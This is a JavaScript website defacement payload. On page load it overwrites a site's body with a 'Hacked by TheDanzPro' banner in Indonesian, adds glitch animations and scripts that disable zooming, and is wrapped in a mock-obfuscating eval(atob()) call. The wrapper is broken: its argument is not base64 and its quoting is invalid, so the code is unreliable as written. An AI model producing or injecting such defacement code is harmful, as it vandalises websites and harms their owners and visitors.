eval(atob('window.addEventListener('DOMContentLoaded', () => {
  document.body.innerHTML = "<!DOCTYPE html>\n<html lang=\"id\">\n<head>\n<meta charset=\"UTF-8\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no, viewport-fit=cover\">\n<meta name=\"format-detection\" content=\"telephone=no\">\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n<meta name=\"mobile-web-app-capable\" content=\"yes\">\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\">\n<style>html{touch-action:pan-y;overflow-x:hidden}html,body{-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}<\/style>\n<title>.\/Hacked by TheDanzPro<\/title>\n<link href=\"https:\/\/fonts.googleapis.com\/css2?family=Share+Tech+Mono&family=Orbitron:wght@400;700;900&family=Rajdhani:wght@300;400;500;700&display=swap\" rel=\"stylesheet\">\n<style>\n  \/* === Performance opt === *\/\n  *{margin:0;padding:0;box-sizing:border-box;will-change:auto}\n  .grid,.line-h,.line-v,.vignette,.avatar::before,.avatar::after,.card{will-change:opacity,transform}\n  .name .ch{will-change:opacity,transform,filter}\n  @media (prefers-reduced-motion:reduce){\n    *,*::before,*::after{animation-duration:.01ms!important;animation-iteration-count:1!important;transition-duration:.01ms!important}\n  }\n  :root{\n    --red:#e63946;\n    --red-dim:rgba(230,57,70,.5);\n    --red-soft:rgba(230,57,70,.15);\n    --bg:#050608;\n    --text:#e8e8ec;\n    --muted:#6a6d75;\n    --line:rgba(230,57,70,.3);\n  }\n  html,body{height:100%}\n  body{\n    background:radial-gradient(ellipse at 50% 35%,#0e1218 0%,var(--bg) 55%,#020304 100%);\n    color:var(--text);\n    font-family:'Rajdhani',sans-serif;\n    overflow-x:hidden;overflow-y:auto;\n    position:relative;\n    display:flex;\n    align-items:center;\n    justify-content:center;\n    min-height:100vh;\n    padding:40px 20px;\n  }\n\n  \/* === Background grid === *\/\n  .grid{\n    position:fixed;inset:0;z-index:0;pointer-events:none;\n    background-image:\n      linear-gradient(rgba(255,255,255,.02) 1px,transparent 1px),\n      linear-gradient(90deg,rgba(255,255,255,.02) 1px,transparent 1px);\n    background-size:60px 60px;\n    mask-image:radial-gradient(ellipse at center,#000 20%,transparent 75%);\n    -webkit-mask-image:radial-gradient(ellipse at center,#000 20%,transparent 75%);\n    transform:translateZ(0);\n  }\n\n  \/* === Animated red lines === *\/\n  .line-h{\n    position:fixed;left:0;right:0;height:1px;z-index:1;\n    background:linear-gradient(90deg,transparent 10%,var(--red) 50%,transparent 90%);\n    opacity:0;\n    animation:lineH 7s ease-in-out infinite;\n    transform:translateZ(0);\n  }\n  .line-h.top{top:12%}\n  .line-h.bot{bottom:12%;animation-delay:4.5s}\n  @keyframes lineH{\n    0%{opacity:0;transform:scaleX(.1)}\n    50%{opacity:.65;transform:scaleX(1)}\n    100%{opacity:0;transform:scaleX(.1)}\n  }\n  .line-v{\n    position:fixed;top:0;bottom:0;width:1px;z-index:1;\n    background:linear-gradient(transparent,var(--red-dim) 40%,var(--red-dim) 60%,transparent);\n    opacity:.3;\n    animation:lineV 11s ease-in-out infinite;\n  }\n  .line-v.l{left:16%}\n  .line-v.r{right:16%;animation-delay:3s}\n  @keyframes lineV{\n    0%,100%{opacity:.15;transform:scaleY(.6)}\n    50%{opacity:.45;transform:scaleY(1)}\n  }\n\n  .vignette{\n    position:fixed;inset:0;z-index:2;pointer-events:none;\n    background:radial-gradient(ellipse at center,transparent 45%,rgba(0,0,0,.75) 100%);\n  }\n\n  \/* === Card === *\/\n  .card{\n    position:relative;z-index:5;\n    width:min(560px,92vw);\n    padding:48px 40px;\n    text-align:center;\n    background:linear-gradient(180deg,rgba(12,14,18,.92),rgba(6,7,10,.95));\n    backdrop-filter:blur(8px);\n    -webkit-backdrop-filter:blur(8px);\n    border:1px solid rgba(255,255,255,.06);\n    border-radius:4px;\n    box-shadow:\n      0 30px 80px rgba(0,0,0,.7),\n      0 0 1px rgba(230,57,70,.3),\n      inset 0 1px 0 rgba(255,255,255,.04);\n    animation:cardIn 1.2s cubic-bezier(.16,1,.3,1) both;\n  }\n  @keyframes cardIn{\n    from{opacity:0;transform:translateY(20px) scale(.98);filter:blur(8px)}\n    to{opacity:1;transform:translateY(0) scale(1);filter:blur(0)}\n  }\n  .corner{position:absolute;width:14px;height:14px;border:1px solid var(--red);opacity:.6}\n  .corner.tl{top:8px;left:8px;border-right:none;border-bottom:none}\n  .corner.tr{top:8px;right:8px;border-left:none;border-bottom:none}\n  .corner.bl{bottom:8px;left:8px;border-right:none;border-top:none}\n  .corner.br{bottom:8px;right:8px;border-left:none;border-top:none}\n\n  \/* === Avatar === *\/\n  .avatar{\n    width:130px;height:130px;\n    margin:0 auto 28px;\n    position:relative;\n    opacity:0;\n    animation:fadeUp 1s .15s forwards;\n  }\n  .avatar img{\n    width:100%;height:100%;\n    border-radius:50%;\n    object-fit:cover;\n    display:block;\n    filter:grayscale(20%) contrast(1.05);\n    box-shadow:0 0 30px rgba(230,57,70,.2);\n    border:2px solid rgba(230,57,70,.6);\n    position:relative;z-index:2;\n    image-rendering:auto;\n  }\n  .avatar::before{\n    content:\"\";position:absolute;inset:-6px;\n    border-radius:50%;\n    border:1px solid var(--red);\n    opacity:.5;\n    animation:ring 4s ease-in-out infinite;\n  }\n  .avatar::after{\n    content:\"\";position:absolute;inset:-12px;\n    border-radius:50%;\n    border:1px solid var(--red);\n    opacity:.25;\n    animation:ring 4s ease-in-out infinite .5s;\n  }\n  @keyframes ring{\n    0%,100%{transform:scale(1);opacity:.4}\n    50%{transform:scale(1.08);opacity:.15}\n  }\n\n  \/* === Tag === *\/\n  .tag{\n    display:inline-flex;align-items:center;gap:8px;\n    font-family:'Share Tech Mono',monospace;\n    font-size:10px;letter-spacing:5px;color:var(--muted);\n    text-transform:uppercase;\n    margin-bottom:22px;\n    padding:5px 14px;\n    border:1px solid rgba(255,255,255,.08);\n    border-radius:2px;\n    opacity:0;\n    animation:fadeUp 1s .3s forwards;\n  }\n  .tag .dot{\n    width:5px;height:5px;border-radius:50%;background:var(--red);\n    box-shadow:0 0 8px var(--red);\n    animation:pulse 2s ease-in-out infinite;\n  }\n  @keyframes pulse{\n    0%,100%{opacity:1;transform:scale(1)}\n    50%{opacity:.4;transform:scale(.8)}\n  }\n\n  \/* === Title: Halaman ini telah diretas === *\/\n  .hacked{\n    font-family:'Rajdhani',sans-serif;\n    font-weight:500;\n    font-size:18px;\n    letter-spacing:1.5px;\n    color:var(--muted);\n    text-transform:lowercase;\n    margin-bottom:14px;\n    opacity:0;\n    animation:fadeUp 1s .5s forwards;\n  }\n\n  \/* === Name: TheDanzPro === *\/\n  .name{\n    font-family:'Orbitron',sans-serif;\n    font-weight:700;\n    font-size:clamp(38px,8vw,58px);\n    letter-spacing:3px;\n    line-height:1;\n    color:var(--text);\n    text-transform:uppercase;\n    position:relative;\n    min-height:1.2em;\n    perspective:600px;\n    opacity:0;\n    animation:fadeUp 1s .65s forwards;\n  }\n  .name .glitch{position:relative;display:inline-block}\n  .name .ch{\n    display:inline-block;\n    opacity:0;\n    transform:translateY(20px) rotateX(-90deg);\n    filter:blur(8px);\n    animation:reveal .9s cubic-bezier(.2,.8,.2,1) forwards;\n  }\n  .name .ch.lit{\n    text-shadow:0 0 25px rgba(230,57,70,.5),0 0 40px rgba(230,57,70,.25);\n    animation:reveal .9s cubic-bezier(.2,.8,.2,1) forwards,breathe 3.5s ease-in-out infinite .9s;\n  }\n  @keyframes reveal{to{opacity:1;transform:translateY(0) rotateX(0);filter:blur(0)}}\n  @keyframes breathe{\n    0%,100%{text-shadow:0 0 20px rgba(230,57,70,.35),0 0 35px rgba(230,57,70,.15)}\n    50%{text-shadow:0 0 30px rgba(230,57,70,.6),0 0 55px rgba(230,57,70,.3)}\n  }\n  .name .glitch::before,.name .glitch::after{\n    content:attr(data-t);\n    position:absolute;inset:0;\n    opacity:0;pointer-events:none;\n    transition:opacity .08s;\n  }\n  .name .glitch::before{color:var(--red);transform:translate(-2px,0)}\n  .name .glitch::after{color:#4dd0e1;transform:translate(2px,0)}\n  .name.glitching .glitch::before,.name.glitching .glitch::after{opacity:1}\n  .name.glitching .glitch::before{animation:slice1 .18s steps(2) 2}\n  .name.glitching .glitch::after{animation:slice2 .18s steps(2) 2}\n  @keyframes slice1{\n    0%{clip-path:inset(20% 0 60% 0)}\n    50%{clip-path:inset(60% 0 20% 0)}\n    100%{clip-path:inset(40% 0 40% 0)}\n  }\n  @keyframes slice2{\n    0%{clip-path:inset(70% 0 10% 0)}\n    50%{clip-path:inset(10% 0 70% 0)}\n    100%{clip-path:inset(50% 0 30% 0)}\n  }\n\n  .subtitle{\n    margin-top:12px;\n    font-family:'Share Tech Mono',monospace;\n    font-size:11px;letter-spacing:6px;\n    color:var(--red);\n    text-transform:uppercase;\n    opacity:0;\n    animation:fadeUp 1s 1s forwards;\n  }\n\n  .divider{\n    width:80px;height:1px;margin:26px auto;\n    background:linear-gradient(90deg,transparent,var(--red),transparent);\n    opacity:.5;\n  }\n\n  \/* === Admin warning line === *\/\n  .warning{\n    position:relative;\n    margin:0 auto;\n    padding:18px 22px;\n    max-width:380px;\n    font-family:'Rajdhani',sans-serif;\n    font-weight:400;\n    font-size:15px;\n    line-height:1.6;\n    color:var(--text);\n    background:rgba(230,57,70,.06);\n    border-left:2px solid var(--red);\n    border-right:1px solid rgba(230,57,70,.2);\n    text-align:center;\n    opacity:0;\n    animation:fadeUp 1s 1.3s forwards;\n  }\n  .warning strong{\n    color:var(--red);\n    font-weight:700;\n    display:block;\n    text-align:center;\n    margin-bottom:8px;\n    letter-spacing:2px;\n  }\n  .warning p{\n    text-align:center;\n    margin:0;\n  }\n\n  @media (max-width:520px){\n    .card{padding:38px 24px}\n    .avatar{width:110px;height:110px;margin-bottom:22px}\n    .name{font-size:32px;letter-spacing:2px}\n    .hacked{font-size:16px}\n    .warning{font-size:13px;padding:16px 18px}\n    .corner-txt{font-size:9px;letter-spacing:1px}\n    .corner-txt.left{left:12px}\n    .corner-txt.right{right:12px}\n  }\n\n  @keyframes fadeUp{\n    from{opacity:0;transform:translateY(8px)}\n    to{opacity:1;transform:translateY(0)}\n  }\n\n  @media (max-width:520px){\n    .card{padding:38px 24px}\n    .avatar{width:110px;height:110px;margin-bottom:22px}\n    .name{font-size:32px;letter-spacing:2px}\n    .hacked{font-size:16px}\n    .warning{font-size:13px;padding:12px 16px}\n  }\n<\/style>\n<\/head>\n<body>\n\n<div class=\"grid\"><\/div>\n<div class=\"line-h top\"><\/div>\n<div class=\"line-h bot\"><\/div>\n<div class=\"line-v l\"><\/div>\n<div class=\"line-v r\"><\/div>\n<div class=\"vignette\"><\/div>\n\n<main class=\"card\">\n  <span class=\"corner tl\"><\/span>\n  <span class=\"corner tr\"><\/span>\n  <span class=\"corner bl\"><\/span>\n  <span class=\"corner br\"><\/span>\n\n  <div class=\"avatar\">\n    <img src=\"https:\/\/i.ibb.co.com\/FkJ9Bbfq\/IMG-20261103-002018.jpg\" alt=\"TheDanzPro\" onerror=\"this.style.opacity=0\">\n  <\/div>\n\n  <div class=\"tag\"><span class=\"dot\"><\/span> System Information <span class=\"dot\"><\/span><\/div>\n\n  <div class=\"hacked\">halaman ini telah diretas oleh<\/div>\n\n  <h1 class=\"name\" id=\"name\">\n    <span class=\"glitch\" data-t=\"TheDanzPro\" id=\"scramble\"><\/span>\n  <\/h1>\n\n  <div class=\"divider\"><\/div>\n\n  <div class=\"warning\">\n    <strong>\u26a0 PERINGATAN \u26a0<\/strong>\n    <p>Website Rentan Terhadap Keamanan<\/p>\n  <\/div>\n\n<\/main>\n\n<script>\n  \/* === TheDanzPro reveal animation (optimized) === *\/\n  const target = 'TheDanzPro';\n  const wrap = document.getElementById('scramble');\n  const name = document.getElementById('name');\n  wrap.setAttribute('data-t', target);\n\n  \/\/ Pre-create letter spans once, reuse them\n  const letterSpans = [];\n  [...target].forEach((c,i)=>{\n    const span = document.createElement('span');\n    span.className = 'ch';\n    span.textContent = c;\n    span.style.animationDelay = (1 + i * 0.08) + 's';\n    wrap.appendChild(span);\n    letterSpans.push(span);\n  });\n\n  function buildLetters(){\n    letterSpans.forEach(span => {\n      span.classList.remove('lit');\n      \/\/ reset animation\n      span.style.animation = 'none';\n      void span.offsetWidth; \/\/ force reflow\n      span.style.animation = '';\n    });\n    const lastDelay = 1000 + (letterSpans.length - 1) * 80 + 900;\n    setTimeout(()=>{\n      letterSpans.forEach(span => span.classList.add('lit'));\n    }, lastDelay);\n  }\n\n  \/\/ Glitch scheduling - recursive setTimeout, no nested setInterval\n  let glitchTimer = null;\n  function scheduleGlitch(){\n    const delay = 6000 + Math.random() * 3000;\n    glitchTimer = setTimeout(()=>{\n      name.classList.add('glitching');\n      setTimeout(()=>{\n        name.classList.remove('glitching');\n        scheduleGlitch();\n      }, 180);\n    }, delay);\n  }\n\n  \/\/ Pause animations when tab not visible (saves CPU)\n  document.addEventListener('visibilitychange', ()=>{\n    if(document.hidden){\n      if(glitchTimer){ clearTimeout(glitchTimer); glitchTimer = null; }\n    } else if(!glitchTimer){\n      scheduleGlitch();\n    }\n  });\n\n  buildLetters();\n  scheduleGlitch();\n  \/\/ Loop reveal every 14s using setTimeout recursion instead of setInterval\n  function loopReveal(){\n    setTimeout(()=>{\n      buildLetters();\n      loopReveal();\n    }, 14000);\n  }\n  loopReveal();\n\n  \/* === Anti-zoom hard lock === *\/\n  \/\/ Block ctrl+wheel zoom\n  document.addEventListener('wheel', e=>{\n    if(e.ctrlKey){ e.preventDefault(); }\n  }, {passive:false});\n\n  \/\/ Block pinch \/ double-tap zoom on mobile\n  let lastTouchEnd = 0;\n  document.addEventListener('touchend', e=>{\n    const now = Date.now();\n    if(now - lastTouchEnd <= 300){ e.preventDefault(); }\n    lastTouchEnd = now;\n  }, {passive:false});\n\n  \/\/ Block gesturestart (Safari pinch)\n  document.addEventListener('gesturestart', e=>e.preventDefault());\n  document.addEventListener('gesturechange', e=>e.preventDefault());\n\n  \/\/ Block keyboard shortcuts for zoom (Ctrl +\/-, Ctrl 0)\n  document.addEventListener('keydown', e=>{\n    if(e.ctrlKey && (e.key === '+' || e.key === '-' || e.key === '0' || e.key === '=')){\n      e.preventDefault();\n    }\n  }, {passive:false});\n<\/script>\n<\/body>\n<\/html>";
});'));